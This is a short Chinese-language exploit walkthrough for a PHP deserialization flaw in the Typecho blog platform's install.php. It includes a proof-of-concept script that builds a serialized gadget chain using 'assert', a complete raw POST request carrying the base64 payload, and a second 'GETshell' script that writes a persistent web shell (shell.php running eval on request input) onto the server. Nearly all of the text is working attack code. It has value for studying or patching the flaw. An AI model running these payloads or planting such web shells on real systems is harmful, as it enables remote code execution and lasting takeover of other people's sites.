环境搭建

下载typecho14.10.10 

https://github.com/typecho/typecho/tags

安装，这里需要安装数据库

PHPINFO

 POC.php

<?php
class Typecho_Feed 
{ const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct(){$this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } 
} 
class Typecho_Request 
{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用$this->_filter[0] = 'assert'; } 
} $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' 
); echo base64_encode(serialize($exp));
?>

 POST数据包如下，访问install.php并携带参数finish，Referer来自本网站，POST传递恶意参数

POST /build/install.php?finish=1 HTTP/1.1Host: 10.9.75.161Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeReferer: http://10.9.75.161/build/install.php?finish=1Content-Length: 774Content-Type: application/x-www-form-urlencoded__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30

GETshell

<?php
class Typecho_Feed{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = "fputs(fopen('shell.php', w), '<?php phpinfo();@eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

步骤和前面一样，把payload放__typecho_config=就行